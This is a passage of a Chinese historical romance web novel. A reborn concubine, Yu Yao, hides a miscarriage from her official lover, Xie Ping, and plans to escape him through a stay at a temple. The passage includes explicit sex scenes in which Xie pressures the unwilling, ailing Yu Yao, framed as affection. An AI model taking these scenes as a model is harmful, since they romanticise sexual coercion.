“大爷叫我看好姨娘,大家伙听着,余姨娘若是有什么好歹,大爷活剥了咱们!大家伙一起将面前这个内里藏奸的小贱人制止住,咱们好进去瞧瞧春花这个小蹄子在弄什么鬼!”秋月侧过脸呵道。
她脸色阴郁,在见到春花因阻拦不住,被人群架住手脚,她的眼中闪过一丝快意。
就在众人一哄热闹,茶楼的包间门险些被推倒,此时忽然响起来一阵惊愕的呵斥声。
“这是在做什么?你们这是要叛主吗!”
人群中的小丫鬟们年纪都在十几岁出头,她们都跟着余姚也不少时日,自然能听清这是余姚的声音。
于是众人不敢再近前。
只听见那声音又起,说:“一整日看戏,看得人都疲乏了,我才躺一会儿,你们就闹腾起来。莫非是觉得我只是个外室,不把我当主子看不成。”
秋月原在人群中听见那一声,现在再听,忽然就觉得这声音隐有回声。
不过余姚才发了怒,她怎能又上前去触霉头?
因此,秋月上前道:“姨娘息怒,是我们的不是,我们给姨娘赔罪。”
底下人跟着喊道“给姨娘赔罪。”<
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p>过了一会儿,余姚又说:“罢了,退下吧,我困乏得紧,你们退下就是。春花留下。”
秋月与众婢齐声应是,都退出门外等候。
临出时,秋月不耐烦看了一眼春花,春花则冷笑关上门。
春花阖上门,又落了锁扣,这才松懈下来。
好险!
她赶忙进到另一间室内,发现余姚脸色惨白,忙上前说:“姨娘怎能起身,快躺下。小产与也要坐小月子的,三十天都要卧床静养……”
余姚阖眼,“又说傻话了,我只是人家的外室,是人家用来疏解的玩意儿,若人家强要,我怎能推拒?日子短了还好说,日子长了,他难免起疑。”
春花面如死灰,却强撑着说:“一日夫妻百日恩,姨娘与大爷同床共枕,他怎能不顾念?”
余姚慕然睁开眼,锐利雪亮如刀剑:“春花,你几时这样相信男人了?咱们这事必须瞒住,现如今,只得走一步算一步。”
外面忽然传来秋月的声音,“余姨娘,爷定的规矩酉正初刻当归,请姨娘回府。”
春花忙看向余姚,只见余姚也与她对视:“快扶我起来,把胭脂给我,还有干茉莉花包……”
余姚上完唇妆,用铜镜检查几遍,道了一句尚可。
春花投了一把干茉莉花进香炉里,花香与焦味四散。
春花拾捡东西,她手中有一个女子手掌大小的靛蓝青色缠枝花纹样的瓷罐,正犹豫怎样存放。
“我来拿它吧。”余姚说。
余姚接过那东西,用与衣裳同色的布料将它包裹得严严实实,放在宽袖之下,并不突兀。
主仆两个一起对视了一眼,她们一出去,暗门外守着一个头发花白老婆子,她弓着腰,头发花白,衣衫十分简陋。
春花走在后面,对着老婆子使了个手势,意思是叫她进去,那老婆子慢悠悠、颤巍巍进去了。
“可靠吗?”余姚问。
“听茶楼里的人说,这老婆婆,是个哑子,再说屋子里的东西我已大概收拾干净了,姨娘放心。”
余姚点点头,她打开面前的房门,见到了正对着门口的秋月。
见人出来了,秋月打量了一眼被一旁春花搀扶着的余姚,她眼眸中闪烁而过一丝亮光,这余姨娘生得貌美,府里人尽皆知。
风花雪月楼中灯烛亮如白昼,但又不同于日照。俗话说,灯下观美人,别有一番风味。秋月今日真觉察了大爷往日外室中红颜知己并不少见,而这余姨娘独得世子爷宠爱这样久,可见她的容貌一定是世间少有。
秋月想到若是自己也生了这样一张脸,那……不由痴了。
临到下楼时,秋月耸动两下鼻子,“什么味道?怎么有一股浓郁的血味?”
春花脸色一白,余姚感觉到她的手掌一直在哆哆嗦嗦,她手中用力一按,主仆二人对视一眼。
秋月冷笑一声,问:“春花姊可否解释一下身上的血味?难不成以前在窑子里也学杀人越货吗?”
春花怒目:“你!我来月事了还不成啊?”
余姚将春花挡在身后,面向秋月道:“既然你这样看不起我们这些窑子里出来的女人,那感情好,我回了府,自然同大爷替你说,秋月姑娘好好收拾东西,预备奔大前程去吧!”
秋月只得哑声。
此时,窗外忽然响起一阵奔马奋张蹄子的声音,哒哒哒哒……
风花雪月楼的二楼开了镂空窗子,人站在楼上,楼下风物看得一清二楚。
旁边几位女客闻声向窗外看去,几人发出尖锐叫声:“啊……”
8. 008
那几道叫声合成一块,又尖又利,听得人汗毛倒竖作一块,心中一僵。
余姚几人也顺势看去,只见楼下街道上歪七扭八倒作一团的扁担招牌,还有两个谷萝歪倒,露出里面的烧饼,和着白亮的雪泥践踏成了污遭。
不远处有衣着华贵的为首年轻男人俯首贴在高头大马上,他手握缰绳,目露凶光。
而他身后几骑统一服饰的年轻男人,他们也有样学样跟着为首男人做出驱马驰骋之势,眼眸中颇为得意。
亦有人眸中露出一丝愧疚,清亮乌黑的眼珠子倒映着不远处赤脚坐在雪地里衣衫褴褛的幼子,那小儿抹泪哭得犹如杜鹃啼血。
明眼人一眼就瞧出来,为首公子身后定是豪奴,而为首公子衣着打扮俱是华贵异常,头顶上的金冠上镶嵌各色宝珠,在落日余晖下闪烁着灼目的火彩。
“吁——”为首的黑色大马儿忽然扬起前面两只蹄子,宛如一只异兽,而它身上的男人满脸兴奋地目视前方,他忽然高举起手中的皮鞭,用力抽在马儿肌肉分明的屁股上,马儿吃痛,前面双蹄骤然落地,发力奔驰了起来。
在场众人无不面露痛苦,揪心起来,就连站在楼上的余姚也不由蹙眉,手中裹紧了怀中的罐子。
黑色骏马高大威猛,四只蹄子践踏在青石板砖上发出沉重的闷响,在场没有任何人会不相信地上的小儿,会在马蹄践踏下活命。甚至还有一些心肠软的女子慌张中遮住了自己的眼睛,不忍再看。
所有围观的人群都面露愤恨,但是又无力去改变现状,正在众人以为那小儿即将血溅那头黑畜生蹄下时,忽然有另外一道身影出现,那高大的黑影一闪,前面马背上的男人脸上得意之色尚未褪去,然而马蹄受力一挑,便直直向外扑去。
“哎呦!”黑马前面两只蹄子忽然对着地面一折,整个身体都向前摔去,马背上的男人也刹不住力道,整个人也摔了好几个跟头,他狼狈滚落,唉声呼痛。
“大胆!是什么人敢阻挠我家公子?你可知道我家公子是谁么?”不远处那些豪奴们吆喝道。
顺手将那小儿从马蹄下拉出的男子,翻身下马,身上的黑色织金白鹤独立纹样。
男子放下了抱在怀中的小儿,那小儿似是感受到了他身上的温暖,因而落地之后仍旧双手抱住男子的腿,一个劲儿地往他披风里钻。
“是哪个瞎眼的狗东西,竟然阻拦本少爷的路,还敢惊了本少爷的马?你知道番马市价几何吗?你撞坏了我的马,你赔得起吗?”适才被撞倒在地的锦衣男子被两个豪奴撑住手臂站起来。
锦衣男子一脸凶狠地看向救人的男子,然而在看清男子容貌的瞬间,神情就像是烈阳下晒裂的土地。
他立在原地,余姚看清了锦衣男子的容貌,这张脸与谢凭有五分相像,但是此人远没有谢凭身材挺直、高大,也没有那种久居上位的威压。
作为前世和谢凭同床共枕十年的枕边人,余姚对谢凭的了解远比旁人多得多,这位锦衣男子就是谢凭一母同胞的胞弟,镇北侯府的小公子。
难怪在天子脚下,云京城中竟然有当街纵马的底气,原来是后台势力深厚啊。
“好大口气,谢琛,圣贤书都读到狗肚子里去不成?”黑衣男子冷笑,他将脸面转向了锦衣男子方位。
谢琛原本惊吓的面孔又换上谄媚的笑容:“太子表兄安好啊,是我出言不逊,我该打!”
说着,他左右开弓甩了自己两个轻飘飘的嘴巴子。
太子长身玉立,他的脸被是衣领上深厚的绒毛中包裹,显得玉面生辉,气场凌厉凶悍,身上的黑披风在风雪中敞开。
只是他脚下挂着的小豆丁一点都不符合他的气势。
“谢监生,出门孤是君,你是臣,你该称臣才得体。”太子看过去,隐有上位者威压。
余姚本来被秋月催促要走,但临走时忽然瞥了一眼,她眼眸中的震惊放大。
这个人,不是先前在护国寺借她衣裳的那位公子吗?他果然是个心存良善之人,哪怕对待手无缚鸡之力的幼儿,他也能出手相助,果然是一个怜贫惜弱的良人。
谢琛被当场下了脸子,下不来台,因而狠狠将身边搀扶的奴才用力推开,“狗奴才,扶痛本少爷了!”
两个奴才狼狈跌倒,只得灰溜溜爬起来,半丝怨言也不敢有。
谢琛上前,低声笑道:“表兄,咱们都是一家人。何必当街闹别扭,叫这些贱民们瞧热闹呢?”
“你说谁是贱民?孤是曌国储君,你蒙受祖荫,孤与你都受到万民奉养,你敢出言不逊,侮辱孤的子民,谢监生,你枉读圣贤书。年同何在?”
有一道身着文武袍的年轻男人单膝跪倒在地,“殿下,臣在!”
“谢琛当街纵马,枉顾人命,阻拦孤的鹤驾,着命你将其送往五城兵马司,令人核算罪状,按律惩处!”
年同抱拳:“是!”
年同行动之间,身上的盔甲相擦有铮鸣声,他眼神冰冷,伸手说:“谢监生,请吧。”
谢琛心知那太子殿下是出了名的铁面无私,法不容情,与他那位亲大哥一样,眼睛里都容不得沙子!
他心中暗叫“倒霉!”,却也知道,太子身边头一个得力助手就是这位东宫卫指挥使年同,他本来出身贫贱,后来投军,因其勇猛,被东宫收入麾下,擢升提拔。
谢琛自知,他吃喝嫖赌玩戏子是个中高手,读书多年也只考中了个贡士,手不能提,肩不能扛,连人家一拳都抗不过,只能认命跟人走。
周围百姓见状,无不喜笑颜开,纷纷下跪道:“叩见太子殿下,太子殿下千秋。”
太子拱手回礼,“诸位多礼,都请起。”
“王振,替这孩子找到父母,归还人家孩子,若是找不到,便送到保幼院去。”太子将脚下小儿托付给身边的用臂弯夹着一柄拂尘的公公。
身边那中年太监恭敬道是,而太子跨上一匹浑身黑中泛紫的马,策马离去。
余姚看完了全程,她抱紧了手中的瓷罐下了楼。
临到上马车的时候,余姚踩着马凳,忽然失神,想到适才那些人叫他什么?
太子殿下!
余姚坐在马车上,春花秋月二婢女彼此用眼神斗法,她都没有丝毫注意。只是回到余宅时,余姚对秋月及她身后一些婢子道:“今日多谢谢你们替我奔走一趟,你们买回的菜食、糕点彼此分食就是,账目都从公帐走。”
说完,余姚便回到房间中,先去卧床休息。
不知沉睡多久,余姚感觉再度回笼的时候,感觉到自己被一个暖烘烘的胸膛纳入怀中,灼热的气息像无形的雾气笼罩。
谢凭忽地将手掌抽出
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,他只得撤回手掌坐起身,又拂开床帐,没一会儿,室内传出水声。
余姚此时已然被疼痛刺激得醒来,她感觉到黑影一闪,背后忽然一沉。
谢凭又回来了。
余姚斟酌说:“不如你去别的妹妹们房里吧,妾身上不干净,伺候不成了。”
谢凭身子一僵,他心中不大欢喜,过了一会儿,他道:“夭夭,你变大方了许多。”
余姚也沉默,她问:“世间男子三妻四妾多如牛毛,无不希望妻妾和睦,妾变大度了,你不高兴吗?”
许久,谢凭笑道:“高兴,我怎会不高兴。”
骗人。
余姚心知谢凭此人看似多情,实则薄情。
他自认自己无论在什么地方都是上位者,包括男女情事中,从来都只有他待人大方、多情,若他的枕边人如此说,他又要疑神疑鬼了。
“妾不能伺候……”余姚欲言又止。
谢凭贴上来,冷风吹开木窗,皎洁清冷的月光倾斜而入。
余姚感觉到谢凭的手指轻轻摩挲她饱满的唇,偶尔呷戏捉弄,将手指伸进又取出。
男人猩红的舌尖舔舐她雪白的颈侧,有时会用牙咬,那种细密的啃噬感,又疼又爽。
但现在余姚疼得头晕眼花,又不想被谢凭察觉,她只得强忍着。
“谁说伺候只能用下面?夭夭没出阁时,那妈妈就不曾教你们旁的招数吗?”谢凭说话时,嗓音低沉,胸膛震动。
自然是教了的。
芍药将房中密要尽数传授,只是她说“你们虽未破瓜,却需知晓,作为瘦马,被主家买去,瘦马的职责是什么?主家就是你们的衣食父母,这世上可没人跟衣食父母过不去,教你们这些招数用不用得上全看个人造化!”
余姚生得美,芍药是爱美之人,对她授业时从不藏私,几乎倾囊相授。
芍药醉酒时,曾抚摸着余姚的脸说:“你生成这样,将来只有好前程造化,日后富贵了,可不要忘记当初提携的恩情。”
郎君是阅尽花丛之人,娘子也不是初次破瓜。
余姚自然听得懂谢凭的暗示,这是要她用别的替代。
余姚心中百般不愿。
她知道自己应该服从,应该乖顺。
可她不愿意。
谢凭见她半天没动作,不由心想:“堂前训子,枕边教妻,规矩虽重要,来日再教也无妨……”
谢凭贴过去,灼热的男性气息也铺天盖地席卷而来。
“你究竟好了没有?”余姚觉得手都不是自己的了。
她恼怒抽回手,谢凭抓了个空,却没发作。
他又去哄她:“快好了。”
余姚咬牙缩着手,“你骗鬼呢?”
谢凭哭笑不得,他问:“你是女鬼?”
余姚困得厉害,肚子又疼,她把脑袋埋进被子里,装听不见,撤手太快,手都撞疼了。
“你……撞坏了我,你下半辈子可就只能守活寡了!”谢凭快速后撤,面色一青。
她不耐烦道:“撞坏了你,我偷人去就是,就是偏劳你做个活王八。”
谢凭一噎,他斥道:“说的什么混账话?没规矩!”
“实在话。”
“没规矩。”
听了这些话,他能少活十年阳寿!
9. 009
最后怎么睡过去,余姚也回想不起来。
就是夜里谢凭终于弄出来了,她累得起不来,他下床擦洗干净了,又弄来一张湿漉漉的帕子来给余姚擦手。
烛光下,谢凭才发现余姚满脸汗珠,嘴唇上没什么血色,半梦半醒时分脸上也没有高兴模样,他不由懊恼自己刚才做过火了。
自己的东西,自己心疼。
谢凭见她状态不好,窗外寒风猎猎,屋子里烧了地龙,她身上温度高热不退,脸上分不清泪水还是汗水。
余姚察觉到谢凭把她的手从被子里拉出来平放,两根手指欲要搭上来,她心中悚然,连忙缩回手,道“快要卯初初刻了,你待会儿要上朝去,怎么不睡?”
谢凭见她缩手,心中不悦,他伸手说:“我给你号脉瞧瞧,你从除夕那日到现在行踪举止都怪异得很。”
他果然发觉到了!
余姚惊愕,他的手掌一直伸着,她只能装瞧不见道:“你平时不是最重规矩吗?我一个妾都算不上的外室,你堂堂刑部尚书,怎能为我请脉?”
谢凭失笑:“你虽是我外室,将来你为我生下一男半女,无论侯府,还是我的后院,必有你一席之地。何况,咱们家的规矩是关上门来,你我谈男女情爱,打开门来,虽有尊卑,你不必害怕,我既为你夫主,生前有我,万事护你周全,死后你亦入我谢家祖茔,与我同享后辈香火。”
余姚越听越烦躁,想到前世,她忽然翻身向里睡下,“不敢劳烦你!”
谢凭没料到她有这样大的火气,从来都只有人在他面前恭恭敬敬、小心翼翼,他何曾对女人这样温柔小意过?
可她不仅不识好歹,还对他冷言冷语,可见她狼心狗肺、牛心左性!
谢凭站起身,正要发作,想到适才他们两如鸳鸯交颈一般的亲密无间,又想到她虚弱苍白的面色,他只得忍下邪火,把剩下的东西收拾干净,轻声掀开被子,无声望着她背过去的身子。
次日,余姚醒来时,身边的被褥已然变得冰凉,她松了口气。
谁知她一站起身,身下却似洪水决堤一般流淌满溢,余姚面色一沉,她当即回身看向床上,果然床上血污乱糟糟的。
没过一会功夫,就听见门外有人叩门,边说:“姨娘,我进来了。”
听声音是秋月。
秋月推门而入,正要给余姚铺床叠被表现一下,却看见被褥上斑驳的血迹,她脸色一僵,立即看向余姚:“姨娘这是来月事了吗?”
余姚敷衍搪塞一番便过去了。
早晨又洗漱装扮了一番,春花引着厨房的小丫鬟们上菜,余姚用着饭,忽然想到了今日就是初八了,后天初十。
在上一世初十那天,余姚记得那一天是谢凭休沐的日子,那天他带回来一个花白胡子的老太医,正是在那一日叫人诊断出来有孕。
现在孩子没了,她和春花两个女人在云京城中就像两只蝼蚁,一旦事发,无人庇佑,到时谢凭兴许会对她手下留情,但他一定不会放过春花。
若是想完全避免这样的情况,那就只有尽早摆脱谢凭,只是谢凭作为本朝的正二品高官,又是皇亲国戚,就算是跺一跺脚,整个京城也要震三震。
何况谢家不仅是百年勋贵之家,权势彪炳,在这样的境况下,他们要找出两个没有助力的女子,那可谓是轻而易举。
除非......
余姚换月经带换得勤快,但是恶露不同寻常月经。余姚从前在刘家大院的时候,教习弹唱的师父,教导时尤其严苛,若是学得不好,鸨母担心打坏了她们的皮肉,因此在刘家大院中是严厉禁止使用鞭打刑罚。
但就算如此,鸨母却制定出了另一种法子来治她们,不许吃饭就只是里面最轻的一种。
且不知从多久以前开始,不论是养在深闺人未识的大家闺秀,还是以卖笑为生的烟花女子,世人的审美转变成了‘白幼瘦’。
因此忍饥挨饿就成了刘家大院里姑娘们都必须经历的,太小的时候亏损了身子,以至于,余姚的月事从未准时过。
这都是余姚身边伺候的贴身婢女们都知道的共识。余姚出来后,伺候衣物的一个婢子走进了更衣室,看到那些东西,愣住了,随即手脚利落地收拾起来。
未正初刻,下职的钟声传来,不同颜色官袍的官员们按照职位高低从排列,依次走在金砖铺就的官道上。
谢凭走出午门,他的贴身小厮长风就守在马车前,正要前行,身后忽然追上来一个人,他大声唤道:“小谢大人,请留步,东宫有请!”
他回身一瞧,来人一身圆领青托袍,头戴三山帽,颔下无须,右手夹着一柄拂尘。正是本朝东宫身前最得意的大太监王振。
谢凭在打量对方,对方也在看他。
面前男子一身绯红缠枝莲花暗纹,胸前一对锦鸡补子,乌纱帽下眉目深邃威严,骨子里散发的翩翩风度,令人不敢轻易忽视。
也是,这位虽是百年勋贵家族出身,但凭借自身才华考中状元,惊才艳艳走到圣上与朝臣面前,一路从翰林院步步高升,直到二十五岁这一年是他担任刑部尚书的第二年。
如此惊才艳艳的前程,王振的腰弯了弯,脸上的笑容也真诚了许多。
谢凭抵达皇城延祚宫中,一路上宫人拘谨低头侧立,谢凭进了殿门,整座殿宇内部陈设以乌色为主调,里面家具中通外直、流畅简单,内里有一张墨葡萄屏风,恣意潇洒,旁附草书。
外面雪停了,仍是白纷纷的琉璃世界。
内里燃着地暖,温暖如春。
“殿下在弈棋,小谢大人这边请——”王振笑着伸手一探。
谢凭点点头,“谢过王翁。”
王振客气退下。
谢凭绕过墨葡萄屏风后,看见铜制鎏金博山炉白烟袅袅,临窗摆着一张小叶紫檀木鹤脚圆桌,上面摆了一张纵横棋局,黑子白子步步紧逼,局势胶着难分。
圆桌旁坐着一位身着圆领玄色金线暗纹的男人,桌上一只修长白皙的手指捻着一枚玄青色的黑棋子,另一只撑着的手揉搓一枚剔透如玉的白棋子,男子头戴莲鹤金冠,唇红肤白,宛如明月清风。
“嗒”地一声,一枚棋子落定。
谢凭上前于右边侧立,拱手道:“臣见过太子殿下,太子殿下千秋。”
太子将手中剩下棋子抛回螺钿漆盒,回望一眼侧立之人,抬手笑道:“此间无外人在,大表兄与孤兄弟相称便是。”
“君子内敛,行必有方,殿下是君,臣为下臣,行礼问安是臣本分。”谢凭拱手。
太子轻笑一声,伸手指了一旁座位,示意谢凭落座。
谢凭坐后,扫了一眼棋盘局势,话锋却转:“不知殿下寻臣何事?”
太子道:“表兄应知昨日谢琛表弟当街纵马,险伤人命,孤已命人将他送往五城兵马司。”
谢凭道:“此事臣已知晓。琛弟近年来功课上不
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见进益,脾气花销却大,都是臣下家中管教不严。殿下此举是望他改过自新,殿下不必放在心上。”
“孤虽秉公执法,只是到底一家子骨肉至亲,只是不知外祖可会介怀?”太子半举起茶盏轻轻摇晃道。
谢凭说:“外祖都省得,殿下纯孝。琛弟得此教训,是他应该。重要的是殿下赚得民心,一切当以大局为重。”
又说了一会儿,太子笑说:“几日不见,大表兄似乎心情不佳,可是……后院失火?”
谢凭少时风流,他虽不寻花宿柳,在京中却有甚多外室,内宅里除了那位薛氏嫂嫂,还有两个各生了女儿的妾室,佳人颇多,只是膝下空空,仍无嗣子。
“怎会?内子性格温驯,又体弱多病,常年缠绵病榻,她出身大家女,又是谢氏宗妇,怎会叫我苦恼?”谢凭回道,只是言辞间想到另一个人,心中仍旧郁结。
“那定是大表兄的红颜知己了,能叫表兄牵肠挂肚,又不忍下手调教,想来定是一位带刺佳人。”太子轻笑,一派清单恬然。
谢凭被说中心事,难免失神,忽而听见笑声,他这才反应过来自己被太子调侃,他便正色道:“殿下,闻人家表妹年已摽梅,贤良淑德,皇后殿下似乎属意她为东宫正妃。”
太子收敛笑意,“闻人表姐确实不错。”
两人点到为止,转移话题谈了些别的,日已偏西,谢凭向外瞧了瞧天色,拱手道别。
谢凭出得宫门,长风问:“爷回侯府还是吐珠胡同?”
谢凭沉默了一会儿,说:“去西园。”
长风见着谢凭脸色,就知道他定是与吐珠胡同住着的那位余姨娘闹了不快,也不回侯府,也不去吐珠胡同,看来是气狠了。
谢凭登了马车后,长风不敢多说,他身边的有信年纪还小,对谢凭的脾气把握得那么精准。
有信说:“大爷平时宿在吐珠胡同里时,次日早晨,余姨娘都吩咐人给爷送补身汤来,有时还送爷到二门口,嘱咐爷冷来添衣,少熬夜,白日里少喝浓茶,只是近日来却都没见着姨娘的身影。”
长风原本握着双马缰绳,见有信这蠢小子哪壶不开提哪壶,他斜眼瞪他一眼。
有信连忙捂住嘴,只是话已出口,覆水难收。
“长风。”谢凭唤了一声。
长风暗叹一口气,男女情爱本就瞬息万变,且越是富贵家中养出来的公子,多情却不专情,薄情后却深情。
长风已有妻室,他家世代在侯府为奴,他自小机灵,又会拳脚功夫,因此幼时老侯爷才会将他指给世子做随从。
他是谢凭身边得脸的人,他的妻子也是大夫人身边得脸的丫鬟。
谢凭叫他,是问他怎么看,近年来谢凭为官,他纵然是心腹,偶尔也拿不准主子心中所想。
长风斟酌词语,开口道:“许是余姨娘近日来身子不爽利,她这才忘了这些,我在家中时,若是影娘知道我缠绵花丛,不回家,仍旧当没娶妻时一样,她定是要与我闹上一月脾气的,说不定还不许我进房睡觉。”
有信笑道:“真是意想不到啊,长风哥哥竟然被影娘嫂嫂管教得这样严!”
长风瞥了他一眼,这傻小子,什么话都往怀里接。
过了许久,长风控制缰绳的速度缓慢了下来,等了许久都没有听见谢凭发声。
就在长风预备控马快走的时候,谢凭忽然说:“调头,回吐珠胡同。”
“是!”
10. 010
有信伸手去搔头,还是没明白为什么,长风一番话,怎就叫爷回心转意?
他要问,却被长风一个眼神制止。
傻小子,主子爷根本就是放不下余姨娘啊!
谢凭端坐在马车内,想的却是昨夜余姚身上温度高,手掌却冰凉,他暖了许久才有些许暖意。
他回想起她凝脂一样细腻的皮肤,再想起那对手感奇好的高峰,昨夜虽是背对,黑夜中只能见到犹如山河峰峦一样的高低起伏。
他的手掌一触上去,就像是被什么温香软玉给吸住了一般。
谢凭房事上凶猛,花样繁多,她虽是处女,会的花样也不比他少。
两个人阴阳调和一年多,他甚爱她紧致,爱她舒服了以后,脸上、身上的肌肤变得通红,爱她身下犹如黄河泛滥。他也渐渐不爱往旁人院子里跑,余姚醋缸子倒了,他的日子就别想好过。
只是余姚近来确实奇怪,但他又说不上来是哪里怪。
只是有一点,长风说的确实不错,余姚整日里关在后宅,也没什么人陪着游戏解闷。
他是她的君郎夫主,她若是过得不舒服,自然有什么话、有什么火也只能往他身上撒。
想通了以后,谢凭叹气。
他既然为人夫主,自然万事都要担待。
谢凭到吐珠胡同的时候,天色已经黑沉了下来,叫开了门,他步履匆匆往内里赶去。
临到了门口,忽而慢下来,沉吟了一会儿,他问守门的丫鬟:“姨娘用过饭了没有?”
丫鬟福身道:“回爷的话,姨娘说没胃口,把饭菜赏给了底下人。”
谢凭蹙眉,简直胡闹,她那个瘦瘦弱弱的身板,连跟他完整的一次都做不下来,她竟然还敢不吃饭了!
谢凭面色一沉,那回话的丫鬟头越来越低。
他摆摆手:“都退下。”
“是!”
丫鬟们福身,纷纷退出了内门。
余姚本以为今日会好些,没想到肚子里还是坠坠的闷疼,下面的血也止不住,只能勤换月事带。
下午她疼得厉害,躺在床上好一会,这才稍有缓解。
本以为昨日谢凭被她气狠了,今天是无论如何都不会回来了,余姚也松懈了一口气。
只是余姚脸上的放松还没维持多久,下一瞬,房门就被人从外面开。
余姚背着身子,她还以为是春花过来了,她闷声道:“怎么又来了,我不饿,就是肚子还有点疼。你去歇着吧。”
久久,余姚都没有听见春花的回应,也没听见关门的声音,她又唤道:“是秋月吗?”
那人还是不曾回答。
余姚心中逐渐烦闷,她强撑着坐起来,向门口看去。却猝不及防与一双凌厉、明亮的眼眸对上!
谢凭!
“你......”
“夭夭,你不舒服,为什么不跟我说?”谢凭身上的绯红色官袍愈发显得威严逼人。
余姚想到自己还有求于人,她撑起笑,道:“只是妇人身上的病症,我的月信向来不准的。”
谢凭走到床榻边,坐下来的时候,独属于谢凭的气味便四散开来。余姚觉得自己像是被铺天盖地的蜘蛛网缠绕住了一样。
谢凭伸手握住余姚的手掌,感觉手中触感冰凉,屋子里明明烧着地暖,余姚身上还盖着厚实的被褥,但是她的脸色憔悴又破碎。
谢凭说:“府里规矩,错过了饭点就不许再用饭,夭夭,你不吃饭,是要饿死自己,好气死我吗?”
余姚头昏脑涨,肚子又疼,她张了张嘴,又阖上了。
过了一会儿,余姚又说:“想来是我前几日没注意,多吹了会风,月事又来了,我疼着呢,你要人伺候,就去找别人去。”
谢凭简直气笑了,他这边忧心她没吃饭,又痛经。余姚那边却以为他是缺人伺候了,才来找她。
谢凭道:“说的什么混账话,君子要养精气,岂能日日沉湎于女色当中?你把我看成什么色中饿鬼了?”
余姚被他逗乐,谢凭在床下、穿着以衣裳的时候,难得这样诙谐。
谢凭见她终于笑了,又见她身上本就没有二两肉,现在大病一场,估计更瘦了。
他伸手将余姚拥入怀中,果然,手掌下的美人就像是一只纤细轻巧、容易摧折的蝴蝶。
满天星青铜灯盏上,犹如儿臂粗壮的红烛,忽然闪烁一下,发出“噼啪”的响声。
窗外是风雪呼啸声,是积雪从屋檐下坠落的声音,而屋内,男人拥抱着女人,仿佛天地之中只有他们两个人。
谢凭心想,还差一个孩子,他和她就圆满了。
余姚靠在谢凭的结肩膀处,她听见了他犹如擂鼓的心跳声。
她斟酌着,藏在被子里的手掌将衣裳揪成一团乱麻,她开口道:“妾昨儿又梦见被那个恶鬼追着,想来是妾往日里不敬神灵的过错,妾想去护国寺小住些时日。”
谢凭问:“若是有恶鬼纠缠,请来得道高僧驱魔就是,你去佛门重地数日,心里半点不牵挂我?”
余姚自然知道谢凭想听什么话,她抬头看他:“也不全是驱魔散病气,还有妾至今尚无所出,妾想去虔诚侍奉佛祖一段时日,将来也许能替爷生个一男半女。”
谢凭听了,果然高兴,他轻笑,连带着胸膛都在震动。
他伸手探入被子中,修长、宽大的手掌覆盖在她的小腹上,笑道:“我日夜浇灌精血,你就是块盐碱地,也该发芽长出庄稼来了。”
余姚听他说这话,真想翻个白眼,但此刻他二人正对面望着彼此,她断不能这样。
因而,余姚垂着头靠在他肩膀上,装作羞涩的模样,实则脸上的笑意与羞涩消失得无影无踪。
余姚太了解谢凭了,经过她这样一哄,他就同意了她出门去护国寺小住一段时间的提议。
“妾不带秋月去。”余姚道。
她小心翼翼打量了一番男人的神情,谢凭脸上的笑容果然一沉。
“好,那换另一个人跟着你。”谢凭说。
那还不如不换呢,好歹秋月还是熟悉的,若是来了个不熟悉的,她辛苦掩藏的东西岂不是轻易就陷入了危险当中?
如此想着,余姚道:“那就还是叫秋月跟着吧,她头脑聪明,手脚麻利,妾很喜欢她。”
谢凭伸手摩挲她的耳后,含糊说:“那就叫她跟着吧。”
该谈的都说完了,余姚想睡下,忽然就被一只长臂揽入怀抱。
谢凭问:“夭夭,你很久没问我爱不爱你的问题了。”
余姚迟疑了几秒,终于反应过来他说的是什么意思。
十四岁的余姚遇见了一把将她拉出沼泽的男人,何况他是如此英俊美貌。
谢凭的情感不是说出来,而是做出来,他常常压着她做快乐事,一张床榻,方寸之间,男女退化,回到原始时期,遵循着动物本能,□□、繁殖。
事后余姚会问他:“你爱不爱我?”
他几乎从不回答。
直到后来,她学乖了,不再事后追问,偏要在他将出未出之际,她用身体最柔嫩的肉去绞他最僵硬的地方,见他失态,见他狰狞。
芍药说,这一招数,世界上没有男人能抵抗得住!
余姚觉得谢凭一定能抵挡,所以她赌输了。
“你爱不爱我?”
谢凭会咬着她,压抑说:“爱。”
余姚反问,扭着腰:“爱谁。”
他闭上眼咬牙说:“爱你。”
“我是谁?”
一颗剔透的汗珠顺着他奋张的肌肉滚落,溅落在雪白的美人纸上,像莲花。
谢凭轻轻啄
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弄那张犹如牡丹娇嫩的丹唇,他虔诚说:“你是我此生挚爱。”
话一出口,谢凭就后悔了,男女之间就是这样,此消彼长,他一向习惯掌握主动权,而掌权者最大的忌讳,就是让自己的软弱被下位者看到。
余姚知道,他不高兴了,她便笑道:“说错了,我是你的小祖宗。”
谢凭满头大汗,他伸手绕到她腰后揉捏,她陡然松懈,还没反应过来,就被激荡狂放的浪潮拍打在岸边,不得翻身。
“就这,还想当我的小祖宗?”谢凭恶意进了一点。
余姚涨得难受,推开他,“小祖宗困了,你走开。”
往事如梦,浮生匆匆。
余姚与谢凭躺倒在一张床榻上,回想起这件回忆,心中真是百般滋味在心头。
谢凭躺倒拥抱着她,余姚向前移开了许多。尝试越移越远,就在她彻底躲开的一瞬间,一只手臂忽然就把她扯了回来,“夭夭,睡不着?”
余姚知道谢凭满脑子乌七八糟,她闷声道:“你穿着官袍呢,妾身上不干净,蹭到上面怎么办?”
谢凭想了想,坐起身去了旁边的浴间,又听见倒水的声音。
又过了一会儿,余姚快要睡过去的时候,忽然感觉有什么热烘烘的什么贴了上来,有一股草木般清爽的味道将其萦绕。
谢凭的一条手臂扣在她的腰部,仅够余姚睡着呼吸之用。
两个就这样相安无事睡至天明,谢凭仍旧是卯初初刻出门,他临走时,回见余姚面色已经红润柔软,稍稍安心。
他出得二门来,长风、有信,还有老管家迎上来,齐声唤了句“爷。”
谢凭抬眸看了一眼鱼肚白的天际,蓝灰的天幕上零星几点星阵,他摩挲了手上的翡翠扳指,对管家吩咐道:“姨娘今日起,要去护国寺小住,你安排人去安排。拿我的帖子去。”
余姚醒来后,起来换了衣裳裙,又起身装扮点饰。
她悄声对春花说:“咱们去护国寺,一来是遮蔽我身上恶露的事,二来是为着我预备趁着护国寺的机会,离开谢凭。春花,你若不想走,我找机会把你留下。”
春花惊诧瞪大眼睛,“姨娘,你是要逃府?”
余姚看着春花脸上尽是一副‘你疯了’的表情,她点点头。
春花急忙道:“这世道权贵当道,咱们弱质女流,怎能活命?”
余姚却将桌上空茶杯倒扣在桌上,道:“春花,我堕掉胎儿,早回不了头,这里是龙潭虎穴,莫被它温暖外表迷惑,他日丧命,为时已晚。”
“可是,可是大爷,他待你有情有义。咱们虽不是良家,但知恩图报总该要的。”春花忙道。
